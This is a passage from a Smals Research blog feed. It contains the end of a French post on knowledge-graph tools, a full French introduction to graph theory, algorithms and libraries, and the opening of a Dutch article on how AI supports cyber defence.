<li><strong>La conception d’ontologies :</strong> l’outil open-source <a href="https://protege.stanford.edu/">Protégé</a> est fréquemment utilisé pour créer des ontologies. Le site <a href="https://schema.org/">schema.org</a> fournit un grand nombre de schéma et vocabulaires standards pour différents domaines, mais est généralement plutôt utilisé pour des graphes de connaissances relatifs aux données web.</li>
<li><strong>La transformation de données vers RDF :</strong> l’outil <a href="https://www.w3.org/TR/r2rml/">R2RML</a> permet de transformer des données relationnelles vers RDF. Nous pouvons aussi mentionner <a href="https://d2rq.org/">D2RQ</a>, qui donne accès à une base de données relationnelle via un graphe de connaissances RDF virtuel.</li>
<li><strong>Le stockage de données :</strong> en plus des solutions mentionnées précédemment (GraphDB et Amazon Neptune), nous pouvons aussi mentionner BlazeGraph et Apache Jena (open-source) ou encore Stardog et AllegroGraph (solutions commerciales).</li>
<li><strong>Les raisonneurs OWL :</strong> il existe de nombreux raisonneurs OWL. Tous ne sont cependant pas forcément activement maintenus ou toujours utilisables. La liste de raisonneurs OWL la plus récente que nous ayons pu trouver date de 2023 et est accessible <a href="https://arxiv.org/pdf/2309.06888">ici</a> [<a href="#footnote-6">6</a>].</li>
</ul>
<p>Terminons par mentionner le framework RDF4J (framework Java) et rdflib (libraire python) permettant d’interagir avec des données RDF.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Terminons par une rapide synthèse des concepts clés qui séparent un graphe mathématique d’une base de données orientée graphe et d’un graphe de connaissances.</p>
<p>Un graphe mathématique est un ensemble de nœuds et d’arcs facilement représentable sous forme matricielle afin d’y appliquer des algorithmes. C’est la structure sous-jacente de toute base de données orientée graphe ou graphe de connaissances.</p>
<p>Une base de données graphe comporte un ensemble de nœuds, d’arcs et de propriétés. L’accent est mis sur le stockage de grandes quantités de données au sein d’une structure graphe et sur l’optimisation du requêtage.</p>
<p>Un graphe de connaissances a pour but de représenter le savoir au sein d’un graphe mettant l’accent sur :</p>
<ul>
<li><strong>La sémantique :</strong> Le graphe suit une ontologie et les relations ont une signification.</li>
<li><strong>L’intégration :</strong> Diverses sources de données sont liées dans un graphe unifié.</li>
<li><strong>L’inférence :</strong> La capacité à dériver des connaissances via un raisonnement.</li>
</ul>
<p>Il est donc concentré sur l’intégration et l’enrichissement sémantique des données.</p>
<p>Il va sans dire que cet article ne fait qu’effleurer la surface de la vaste littérature des graphes et leurs applications diverses, et que nombreux points mériteraient un développement plus poussé et feront d’ailleurs sans doute l’objet de futurs articles.</p>



<h2 class="wp-block-heading">Références</h2>



<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
<p id="footnote-4">[4] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-5">[5] Ehrlinger, L., &amp; Wöß, W. (2016). Towards a definition of knowledge graphs. <i>SEMANTiCS 2016</i>, <i>48</i>(1-4), 2.</p>
<p id="footnote-6">[6] <a href="https://arxiv.org/pdf/2309.06888">Abitch, K., (2023). &#8220;OWL Reasoners still useable in 2023&#8221;</a></p>
<hr />
<p><em>Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Les technologies graphes, leurs applications et leurs outils : un tour d’horizon (Partie 1)</title>
		<link>https://www.smalsresearch.be/graphes_applications_et_outils/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Tue, 28 Jan 2025 10:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21737</guid>

					<description><![CDATA[Cette première partie est consacrée aux graphes dans leur forme mathématique fondamentale.]]></description>
										<content:encoded><![CDATA[<p><a href="/graphtechnologieen-toepassingen-en-tools/"><em>Nederlandstalige versie</em></a></p>
<p>Grâce à leur capacité à comprendre et exploiter les relations complexes entre les données, les technologies relatives aux graphes ont actuellement le vent en poupe, gagnant en popularité dans de nombreux domaines de l’intelligence artificielle et la gestion de données. Plusieurs articles ont d’ailleurs déjà été postés sur ce blog concernant différentes technologies de graphes, notamment sur les bases de données orientées graphe (graph database) [<a href="#footnote-1">1</a>, <a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>] et les graphes de connaissances (knowledge graph) [<a href="#footnote-4">4</a>, <a href="#footnote-5">5</a>, <a href="#footnote-6">6</a>].</p>
<p>Mais que recouvre réellement le terme « graphe »&nbsp;? Entre les modèles mathématiques qui servent de fondation, les bases de données orientées graphe et les graphes de connaissances, il peut être difficile de s’y retrouver et d’identifier les outils adaptés à ses besoins. Ajoutez à cela le fait que travailler sur des données organisées en réseau peut sembler complexe à première vue et que l’utilisation d’algorithmes de graphe ne fait pas partie des compétences de base de la plupart des data engineers et data scientists, et tout cela peut rendre décourageant la création et l’exploitation de données et de modèles de graphes.</p>
<p>Cet article a donc pour objectif de faire le point sur les technologies graphes, en explorant les 3 aspects mentionnés ci-dessus&nbsp;:</p>
<ul>
<li>Les graphes d’un point de vue théorique, leurs propriétés, leurs applications principales ;</li>
<li>Les bases de données orientées graphe, spécialisées dans le stockage et l’exploitation de données connectées ;</li>
<li>Les graphes de connaissances qui structurent le savoir de manière sémantique.</li>
</ul>
<p>Le but est donc de présenter ces concepts, les frontières – parfois floues – qui les séparent, ainsi que de mettre en lumière leurs utilisations et les outils et logiciels qui y sont associés.</p>
<p>Cet article est divisé en deux parties. Cette première partie est consacrée aux graphes dans leur forme mathématique fondamentale, comment les encoder et les exploiter, ainsi qu&#8217;aux principaux algorithmes et leurs applications. La <a href="/graphes_applications_et_outils_2/">seconde partie</a> portera sur les bases de données orientées graphe et graphes de connaissances et les outils qui y sont associés.</p>


<h2 class="wp-block-heading">Retour aux fondamentaux&nbsp;: les graphes en tant que structure mathématique</h2>


<p>Avant toute chose, commençons par définir ce qu’est un graphe. Cette base théorique est cruciale car c’est dessus que se construisent les concepts de base de données orientée graphe et de graphe de connaissances. À tout moment, ces concepts plus avancés peuvent être ramenés à leur forme mathématique sous-jacente et, par extension, tous les modèles et algorithmes présentés ci-dessous sont applicables à des bases de données orientées graphe et graphes de connaissances.</p>
<p>Dans sa forme la plus fondamentale, un graphe est une structure mathématique constituée d’un ensemble de nœuds et d’arcs qui joignent des nœuds deux à deux. Les nœuds représentent typiquement des objets ou des personnes, et les arcs représentent des liens entre ces objets ou personnes. Par exemple, dans le cas d’un réseau social, un arc peut représenter un lien d’amitié entre deux utilisateurs.<br />Le graphe peut être soit dirigé soit non-dirigé. Dans le cas d’un graphe non-dirigé, les relations entre les nœuds sont toujours réciproques (par exemple, un lien d’amitié sur Facebook) alors que dans un graphe dirigé, un arc allant d’un nœud <em>i</em> à un nœud <em>j</em> n’implique pas forcément d’arc de sens opposé (par exemple, un site internet A ayant un hyperlien qui pointe vers un site B).</p>
<p>Suivant la situation ou l’application, un graphe peut aussi être pondéré ou non. Un graphe est dit pondéré lorsqu’un poids est associé à chaque arc, qui varie d’un arc à l’autre, et qui permet de donner plus de « force » à certains arcs. L’interprétation de ces poids dépend du contexte, ces poids peuvent par exemple représenter un degré d’affinité, de similarité, de dépendance, etc.</p>
<p>Un graphe est généralement représenté par une matrice carrée de dimension (<em>n</em> × <em>n</em>), où n est le nombre de nœuds du graphe, appelée matrice d’adjacence (notée <strong>A</strong>). L’élément en position (<em>i</em>, <em>j</em>) dans la matrice vaut le poids de l’arc allant du nœud <em>i</em> au nœud <em>j</em> s’il existe, et 0 sinon (voir Figure 1). La matrice d’adjacence est simplement une matrice binaire lorsque le graphe n’est pas pondéré.</p>


<figure class="wp-block-image size-full"><a href="/wp-content/uploads/2025/01/image-1.png"><img loading="lazy" decoding="async" width="736" height="330" src="/wp-content/uploads/2025/01/image-1.png" alt="" class="wp-image-21740" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-1.png 736w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-1-300x135.png 300w" sizes="auto, (max-width: 736px) 100vw, 736px" /></a><figcaption class="wp-element-caption">Figure 1&nbsp;: Représentation matricielle d’un graphe pondéré dirigé.</figcaption></figure>


<p>Dans l’exemple illustratif, il y a un arc de poids 3 allant du nœud 1 au nœud 3, et un arc de poids 5 allant dans le sens inverse. La matrice <strong>A</strong> contient donc la valeur 3 en position (1,3) et la valeur 5 en position (3,1).</p>
<p>Il est à noter que les matrices d’adjacence contiennent souvent une très large majorité de zéros, et sont donc généralement encodées via des matrices creuses (<em>sparse matrix</em>) afin d’optimiser la mémoire.</p>
<p>Cette représentation d’un graphe sous forme d’une matrice facilite fortement l’utilisation d’algorithmes sur le graphe, car nombre d’algorithmes de graphe, parfois complexes sous forme d’équations, peuvent souvent être résumés à une série d’opérations matricielles élémentaires. Ceci rend leur exécution très efficace dans des langages de programmation scientifiques optimisés pour les calculs matriciels, tels que R, MATLAB, Julia ou Python (numpy, scipy).</p>


<h2 class="wp-block-heading">Utilisations d’algorithmes de graphe et applications pratiques</h2>


<p>Pour mieux comprendre l’intérêt d’un graphe, commençons dans un premier temps par regarder les grandes catégories d’algorithmes de graphe, avec, pour chaque catégorie, quelques exemples d’utilisation pratique de ceux-ci.</p>
<ul>
<li>Déterminer le chemin optimal permettant de joindre une paire de nœuds.</li>
</ul>
<p>Il peut simplement s’agir de minimiser le nombre de transitions nécessaires pour passer d’un nœud à l’autre, ou alors, si un coût est associé à chaque arc, de trouver le chemin associé au coût le plus faible. Le coût peut-être défini en tant que poids d’un arc, ou encodé dans une seconde matrice (matrice de coût, indépendante de la matrice d’adjacence). La façon dont le coût d’un arc est déterminé dépend de l’application, en fonction de ce que l’on souhaite minimiser. Il peut s’agir, par exemple, d’une mesure de longueur de l’arc (telle que la longueur d’une route), une mesure de temps (le temps nécessaire pour franchir l’arc) ou un coût financier. Ce genre d’algorithme peut être utilisé en logistique pour optimiser le transport. Les algorithmes les plus connus en la matière étant les algorithmes de <a href="https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm">Dijkstra</a>, <a href="https://en.wikipedia.org/wiki/A*_search_algorithm">A*</a>, ou encore l’algorithme de <a href="https://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm">Bellman-Ford</a>.</p>
<ul>
<li>Établir des mesures de similarité ou de distance entre des nœuds d’un graphe.</li>
</ul>
<p>Suivant le contexte, il peut être intéressant d’établir une mesure de similarité entre deux nœuds d’un graphe afin de déterminer à quel point ils sont proches l’un de l’autre. L’utilisation de mesures de similarité est une approche souvent utilisée dans les applications de recommandation. En construisant un graphe de consommation qui lie les utilisateurs aux produits qu’ils ont consommés, mesurer la similarité entre les nœuds permet d’identifier, pour un utilisateur donné, des utilisateurs ayant un profil de consommation similaire, en se basant sur leurs liens avec les produits. Typiquement, un produit sera recommandé à un utilisateur soit parce qu’il a été consommé par de nombreux utilisateurs similaires (<em>user-based recommendation</em>) soit car le produit est similaire à ceux déjà consommés par l’utilisateur (<em>item-based recommendation</em>). Les mesures de similarité les plus connues se basent généralement sur des mesures de voisinage commun (le nombre de voisins en commun que possèdent deux nœuds), telles que l’indice de Jaccard ou la similarité cosinus, mais d’autres méthodes permettent de prendre aussi en compte le voisinage indirect, telles que le kernel de Katz [<a href="#footnote-12">12</a>] (aussi connu sous le nom de « von Neumann kernel »). Pour voir quelques mesures de similarité classiques et leur utilisation en recommandation, voir [<a href="#footnote-13">13</a>].</p>
<p>L’opposé d’une mesure de similarité est une mesure de dissimilarité, qui augmente à mesure que les deux nœuds sont différents. Une mesure de distance est, par définition, une dissimilarité, puisqu’elle augmente lorsque deux nœuds sont éloignés. La mesure de dissimilarité la plus connue et la plus intuitive entre deux nœuds est la longueur du plus court chemin qui les sépare.</p>
<ul>
<li>Mesurer la centralité.</li>
</ul>
<p>Une mesure de centralité d’un nœud ou d’un arc, parfois aussi appelée mesure de prestige, sert à quantifier à quel point un nœud ou un arc est important au sein d’un graphe. La mesure de centralité la plus connue est, de loin, le score calculé par l’algorithme PageRank [<a href="#footnote-14">14</a>]. Initialement développé et utilisé par le moteur de recherche Google pour hiérarchiser les pages web, PageRank se base sur une marche aléatoire sur un graphe où chaque nœud représente une page web et chaque arc dirigé représente un hyperlien entre deux pages. L’algorithme PageRank trouve de nombreuses applications au-delà de la hiérarchisation de pages web&nbsp;:</p>
<blockquote>
<p style="text-align: center;">“<em>Google’s PageRank method was developed to evaluate the importance of web-pages via their link structure. The mathematics of PageRank, however, are entirely general and apply to any graph or network in any domain. Thus, PageRank is now regularly used in bibliometrics, social and information network analysis, and for link prediction and recommendation. It’s even used for systems analysis of road networks, as well as biology, chemistry, neuroscience, and physics.</em>” – Gleich (2014) [<a href="#footnote-15">15</a>]
</blockquote>
<p>Un autre algorithme très connu, similaire à PageRank, est l’algorithme HITS (Hyperlink-Induced Topic Search) [<a href="#footnote-16">16</a>].</p>
<p>Lorsque l’on parle de centralité, PageRank est souvent l’algorithme présenté, cependant, la centralité peut se comprendre de plusieurs manières. Il peut par exemple s’agir d’un nœud ou d’un arc constituant un intermédiaire critique pour la communication et la transmission d’information au sein du réseau. Repérer des nœuds centraux peut par exemple permettre d’optimiser la diffusion d’information dans un réseau ou de détecter des nœuds ou des arcs vitaux au graphe (dont la disparition nuirait fortement à la transmission d’information dans le graphe). Des mesures fréquentes de centralité de nœuds ou d’arcs se basant sur ce principe utilisent généralement des mesures « d’intermédiarité » (<em>betweenness centrality</em>).</p>
<p>La centralité peut aussi se comprendre comme la mesure de la représentativité d’un nœud au sein d’une communauté (en termes de proximité vis-à-vis des autres nœuds du graphe), se mesurant ici plutôt avec une mesure de proximité (<em>closeness centrality</em>). Il est à noter que nous avons déjà mentionné l’utilisation de différents algorithmes de centralité dans un cadre de détection de fraude dans des articles de blog précédents, notamment PageRank (sous forme d’un algorithme de diffusion) [<a href="#footnote-7">7</a>] et la betweenness centrality [<a href="#footnote-8">8</a>].</p>
<ul>
<li>Partitionner le graphe.</li>
</ul>
<p>Plus connu sous le nom de « <em>clustering</em> », le partitionnement de graphe consiste à regrouper des nœuds en communautés (<em>clusters</em>) tels que les nœuds au sein d’une communauté sont « similaires » et deux nœuds appartenant à des communautés différentes sont dissimilaires. Ce partitionnement peut se faire de plusieurs manières. Par exemple en utilisant une mesure de similarité ou de dissimilarité entre les nœuds du graphe, puis en exécutant un algorithme de clustering tel que le <em>k</em>-médoïdes sur base de ces (dis-)similarités.</p>
<p>Ou alors, en travaillant directement sur le graphe en cherchant à détecter des zones denses dans celui-ci. Cela peut se faire via de la propagation de label [<a href="#footnote-17">17</a>], ou via l’optimisation d’une fonction objectif mesurant la qualité du partitionnement, telle que la modularité. L’algorithme d’optimisation de la modularité le plus célèbre est la méthode de Louvain [<a href="#footnote-18">18</a>].</p>


<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-2.png"><img loading="lazy" decoding="async" width="508" height="444" src="/wp-content/uploads/2025/01/image-2.png" alt="" class="wp-image-21743" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2.png 508w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2-300x262.png 300w" sizes="auto, (max-width: 508px) 100vw, 508px" /></a><figcaption class="wp-element-caption">Figure 2&nbsp;: Exemple de graphe simple avec 3 communautés.</figcaption></figure>


<p>Nous avions déjà mentionné l’utilisation des méthodes de partitionnement de graphes dans plusieurs articles de blog [<a href="#footnote-9">9</a>, <a href="#footnote-10">10</a>], ces algorithmes sont utilisés notamment en communication et marketing afin de pouvoir réaliser des annonces ciblées.</p>
<ul>
<li>Extraire des caractéristiques ou des représentations.</li>
</ul>
<p>Une des limites des modèles de <em>machine learning</em> classique est qu’ils considèrent uniquement les données (variables continues et catégorielles) relatives aux observations, et ignorent l’information qui pourrait être tirée des relations entre les observations. Si des relations existent entre ces données, un graphe peut être construit, et les modèles de <em>machine learning</em> peuvent être enrichis via l’ajout de nouvelles variables extraites du graphe (il y a aussi un article de blog à ce sujet [<a href="#footnote-11">11</a>]). Ces nouvelles variables peuvent par exemple être une mesure de centralité (variable continue) ou le résultat d’un partitionnement (variable catégorielle), ou encore être obtenues via des méthodes de <em>graph embedding</em> (variables continues). Le <em>graph embedding</em> vise à obtenir une représentation des nœuds dans un espace multidimensionnel. Cet espace est calculé de sorte que, si deux nœuds sont proches dans le graphe, ils le seront aussi dans cet espace. Cet espace peut par exemple s’obtenir via des méthodes travaillant directement sur le graphe (node2vec [<a href="#footnote-19">19</a>], fastRP [<a href="#footnote-20">20</a>]) ou en travaillant sur base de similarités (kernelPCA [<a href="#footnote-21">21</a>]) ou de distances (t-SNE [<a href="#footnote-22">22</a>]) par exemple. Voir Figure 3 pour un exemple de représentation en 2 dimensions d&#8217;un graphe pondéré simple.</p>


<figure class="wp-block-image size-full"><a href="/wp-content/uploads/2025/01/image-3.png"><img loading="lazy" decoding="async" width="940" height="596" src="/wp-content/uploads/2025/01/image-3.png" alt="" class="wp-image-21744" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-3.png 940w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-3-300x190.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-3-768x487.png 768w" sizes="auto, (max-width: 940px) 100vw, 940px" /></a><figcaption class="wp-element-caption">Figure 3&nbsp;: Représentation d’un graphe dans un espace à 2 dimensions via node2vec (haut) et t-SNE (bas)</figcaption></figure>


<ul>
<li>Prédire des liens.</li>
</ul>
<p>Le concept de prédiction de lien est relativement explicite, il s’agit d’estimer la probabilité qu’un lien existe entre 2 nœuds. Cela permet de détecter des potentiels arcs manquants (graphe incomplet), ou de prédire l’apparition de nouveaux arcs. Les algorithmes de recommandations sont un exemple courant de prédiction de lien utilisateur-produit, mais ces algorithmes peuvent aussi servir à détecter des potentielles interactions encore inconnues à l’intérieur de réseaux biologiques. Ce genre de prédiction se fait souvent via des méthodes basées sur des similarités entre nœuds, de la factorisation matricielle, des modèles probabilistes ou des réseaux de neurones artificiels [<a href="#footnote-23">23</a>].</p>


<h2 class="wp-block-heading">Quels outils&nbsp;?</h2>


<p>Comme mentionné précédemment, la représentation de graphes sous forme matricielle permet de les exploiter de façon efficace via des langages de programmation scientifiques. Cependant, il existe aussi des librairies ou logiciels permettant de créer et exploiter des données de graphe.</p>
<p>Voici quelques exemples de librairies dédiées au travail sur les graphes. Ces librairies permettent de créer un objet graphe, qui peut être construit de plusieurs manières. Il peut être construit à vide, avant d’y ajouter manuellement des nœuds et des arcs, ou alors à partir d’une matrice d’adjacence ou d’une liste d’arcs, ou bien encore directement depuis des fichiers contenant une description du graphe sous la forme d’une liste de nœuds et d’arcs. Quelques exemples de librairies orientées graphe incluent igraph, networkx, graph-tool ou networkit pour Python, igraph pour R et Graphs pour Julia.</p>
<p>Pour un utilisateur ayant déjà des connaissances dans l’un de ces langages, ces libraires ont l’avantage d’être intuitives et faciles à prendre en main, et contiennent de nombreux algorithmes de graphe pré-implémentés.</p>
<p>Il existe aussi de nombreux logiciels prévus pour l’analyse du contenu de bases de données orientées graphe, tels que Gephi ou Cytoscape (pour une liste plus détaillée, nous vous invitons à vous référer à l’un de nos précédents articles sur le sujet&nbsp;: [<a href="#footnote-3">3</a>]). Il s’agit bien de logiciels créés pour des analyses ponctuelles ou des explorations visuelles des relations dans des ensembles de données, mais qui ne sont pas conçus pour intégrer et gérer de grandes quantités de données de manière continue comme le ferait une base de données orientée graphe.</p>


<h2 class="wp-block-heading">Conclusion</h2>


<p>Dans la première partie de cet article dédié aux différentes technologies basées sur les graphes, nous avons fait une rapide présentation de la théorie des graphes, ainsi que des principaux algorithmes de graphe et leurs applications. La <a href="/graphes_applications_et_outils_2/">seconde partie</a> se penchera sur les bases de données orientées graphe et les graphes de connaissances, les différences entre ces concepts ainsi que les outils qui y sont associés.</p>


<h2 class="wp-block-heading">Références</h2>


<p>Quelques articles de blog Smals Research concernant les graphes&nbsp;:</p>
<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/explorer-une-base-de-donnees-orientee-graphes/">Explorer une base de données orientée graphes</a></p>
<p id="footnote-4">[4] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
<p id="footnote-5">[5] <a href="/les-graphes-de-connaissance-quelques-applications/">Les graphes de connaissance&nbsp;: quelques applications</a></p>
<p id="footnote-6">[6] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-7">[7] <a href="/un-fraudeur-ne-fraude-jamais-seul/">Un fraudeur ne fraude jamais seul</a></p>
<p id="footnote-8">[8] <a href="/un-fraudeur-ne-fraude-jamais-seul-partie-2/">Un fraudeur ne fraude jamais seul, partie 2</a></p>
<p id="footnote-9">[9] <a href="/ce-quun-reseau-social-peut-nous-apprendre/">Ce qu’un réseau social peut nous apprendre</a></p>
<p id="footnote-10">[10] <a href="/facebook-peut-on-vraiment-cacher-sa-liste-damis/">Facebook&nbsp;: peut-on vraiment cacher sa liste d’amis&nbsp;?</a></p>
<p id="footnote-11">[11] <a href="/ameliorer-le-machine-learning-avec-des-donnees-graphes/">Améliorer le Machine Learning avec des données graphes</a></p>
</p>
<p>Sources scientifiques&nbsp;:</p>
<p id="footnote-12">[12] Katz, L. (1953). A new status index derived from sociometric analysis. Psychometrika, 18(1), 39-43.</p>
<p id="footnote-13">[13] Fouss, F., Pirotte, A., Renders, J. M., &amp; Saerens, M. (2007). Random-walk computation of similarities between nodes of a graph with application to collaborative recommendation. IEEE Transactions on knowledge and data engineering, 19(3), 355-369.</p>
<p id="footnote-14">[14] Page, L., Brin, S., Motwani, R., &amp; Winograd, T. (1998). The pagerank citation ranking: Bringing order to the web. Technical report, Stanford Digital Libraries.</p>
<p id="footnote-15">[15] Gleich, D. F. (2015). PageRank beyond the web. siam REVIEW, 57(3), 321-363.</p>
<p id="footnote-16">[16] Kleinberg, J. M. (1999). Authoritative sources in a hyperlinked environment. Journal of the ACM (JACM), 46(5), 604-632.</p>
<p id="footnote-17">[17] Raghavan, U. N., Albert, R., &amp; Kumara, S. (2007). Near linear time algorithm to detect community structures in large-scale networks. Physical Review E—Statistical, Nonlinear, and Soft Matter Physics, 76(3), 036106.</p>
<p id="footnote-18">[18] Blondel, V. D., Guillaume, J. L., Lambiotte, R., &amp; Lefebvre, E. (2008). Fast unfolding of communities in large networks. Journal of statistical mechanics: theory and experiment, 2008(10), P10008.</p>
<p id="footnote-19">[19] Grover, A., &amp; Leskovec, J. (2016). node2vec: Scalable feature learning for networks. In Proceedings of the 22nd ACM SIGKDD international conference on Knowledge discovery and data mining (pp. 855-864).</p>
<p id="footnote-20">[20] Chen, H., Sultan, S. F., Tian, Y., Chen, M., &amp; Skiena, S. (2019, November). Fast and accurate network embeddings via very sparse random projection. In Proceedings of the 28th ACM international conference on information and knowledge management (pp. 399-408).</p>
<p id="footnote-21">[21] Schölkopf, B., &amp; Smola, A. J. (2002). Learning with kernels: support vector machines, regularization, optimization, and beyond.</p>
<p id="footnote-22">[22] Van der Maaten, L., &amp; Hinton, G. (2008). Visualizing data using t-SNE. Journal of machine learning research, 9(11).</p>
<p id="footnote-23">[23] Lü, L., &amp; Zhou, T. (2011). Link prediction in complex networks: A survey. <em>Physica A: statistical mechanics and its applications</em>, <em>390</em>(6), 1150-1170.</p>
<hr />
<p><em>Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.</em></p>

]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Defensieve AI</title>
		<link>https://www.smalsresearch.be/defensieve-ai/</link>
		
		<dc:creator><![CDATA[Fabien A. P. Petitcolas]]></dc:creator>
		<pubDate>Thu, 23 May 2024 09:08:13 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">/?p=20525</guid>

					<description><![CDATA[In dit artikel bespreken we, na enkele algemene overwegingen, gebieden van cyberdefensie die baat hebben of zouden kunnen hebben bij AI, zoals intelligentie over cyberaanvallen, detectie en identificatie van cyberaanvallen en reactie op cybersecurity incidenten.]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><a href="/lia-defensive/"><em>Version en français</em></a></p>
<p class="wp-block-paragraph">In een <a href="/ai-en-cyberbeveiliging/">vorig artikel</a> hebben we kort uitgelegd wat er achter de term &#8216;artificiële intelligentie&#8217; schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In een <a href="/offensieve-ai/">tweede artikel</a> hebben we een kijkje genomen naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We hebben in het bijzonder beschreven hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.</p>
<p class="wp-block-paragraph">In het laatste artikel van deze serie bespreken we, na enkele algemene overwegingen, gebieden van cyberdefensie die baat hebben of zouden kunnen hebben bij AI, zoals intelligentie over cyberaanvallen, detectie en identificatie van cyberaanvallen en reactie op cybersecurity incidenten.</p>
<h1 class="wp-block-heading">Inleiding</h1>
<p class="wp-block-paragraph">Al in 2018 meende Schneier <a href="#_ref1">[1]</a> dat cyberdefensie meer zou profiteren van AI-technieken dan cyberaanval, omdat defensie volgens hem in een slechtere positie verkeert dan aanval, juist vanwege de grote menselijke componenten. Bovendien voorspelde hij dat tegenstanders hun aanvalsstrategie zouden blijven verbeteren door middel van automatisering, zodat de enige effectieve manier om deze aanvallen op machinesnelheid te verzwakken zou zijn door middel van automatisering. Deze stelling wordt ook verdedigd door Sarker et al. <a href="#_ref2">[2]</a> die stellen dat AI een revolutie teweeg kan brengen op het gebied van cybersecurity, niet alleen door op grote schaal taken te <em>automatiseren</em>, maar ook door <em>menselijke experts te helpen</em> een situatie beter te begrijpen en beslissingen te nemen in echte scenario&#8217;s.</p>
<p class="wp-block-paragraph">Het adviesbureau Gartner verwacht dat AI zal bijdragen aan een vermindering van 30% van het percentage vals-positieven bij het testen van toepassingen en het opsporen van bedreigingen voor 2027 <a href="#_ref3">[3]</a>. De nieuwe tools die onlangs zijn aangekondigd door toonaangevende bedrijven in de markt, waaronder CrowdStrike, zouden volgens Gartner inderdaad kunnen helpen om de productiviteit en vaardigheden van beheerders te verbeteren. Er is geen tekort aan ideeën, maar zoals de auteurs van de nota van het adviesbureau aangeven, bestaan de zoek- en analysefunctionaliteiten al, en wat nieuw is, is in wezen de interactiviteit tussen de menselijke analisten en de machine.</p>
<p class="wp-block-paragraph">Taddeo et al. <a href="#_ref4">[4]</a> temperen de hype in AI voor cyberdefensie door erop te wijzen dat het vertrouwen in AI voor de <em>robuustheid, veerkracht en respons</em> van cybersecuritysystemen onterecht is en dringen erop aan dat een vorm van controle noodzakelijk is om beveiligingsrisico&#8217;s te beperken. De auteurs gebruiken de term <em>vertrouwen</em> in zijn puurste betekenis: een beslissing om te delegeren, zonder enige vorm van controle of toezicht, een acceptatie van een risico op afhankelijkheid. Ze wijzen op het gebrek aan transparantie van AI en de evolutie van een AI-systeem in de tijd als belangrijke beperkingen en bevelen in het bijzonder een “in-house” implementatie aan voor kritieke nationale infrastructuren en voortdurende monitoring van het AI-systeem en de evolutie ervan.</p>
<p class="wp-block-paragraph">Dasgupta et al. <a href="#_ref5">[5]</a> hebben de meeste recente publicaties over het gebruik van AI op het gebied van cybersecurity beoordeeld. Volgens hen blijft een cruciaal punt de prestaties (in termen van reactiesnelheid, maar ook vermindering van het aantal fout-positieven en fout-negatieven) van detectietools, die grote gevolgen kunnen hebben voor het systeem waarin ze worden ingezet.</p>
<p class="wp-block-paragraph">In de volgende paragrafen gaan we dieper in op verschillende gebieden van cyberdefensie die baat kunnen hebben bij AI.</p>
<h1 class="wp-block-heading">Intelligentie over cyberaanvallen</h1>
<p class="wp-block-paragraph">Inlichtingen over cyberbedreigingen is het proces van het verzamelen, analyseren en verspreiden van informatie over huidige en opkomende cyberbedreigingen, zoals actoren, doelwitten, technieken, tools, enz. Deze informatie kan organisaties helpen zich proactief te verdedigen tegen cyberaanvallen door beveiligingsteams tijdig van bruikbare informatie te voorzien.</p>
<p class="wp-block-paragraph">Tegenwoordig wordt <em>Open Source Intelligence</em> (OSINT) op grote schaal gebruikt door overheden en inlichtingendiensten om cybercriminaliteit te onderzoeken en te bestrijden <a href="#_ref6">[6]</a>. Het hoofddoel van het Europese DiSIEM-project<a href="#_ftn1" name="_ftnref1"><sup>1</sup></a> was om verschillende bronnen van OSINT-gegevens te integreren in SIEM-systemen (<em>Security Information and Event Management</em>) om te helpen reageren op nieuw ontdekte kwetsbaarheden in de infrastructuur of zelfs om mogelijke opkomende bedreigingen te voorspellen<a href="#_ftn2" name="_ftnref2"><sup>2</sup></a>.</p>
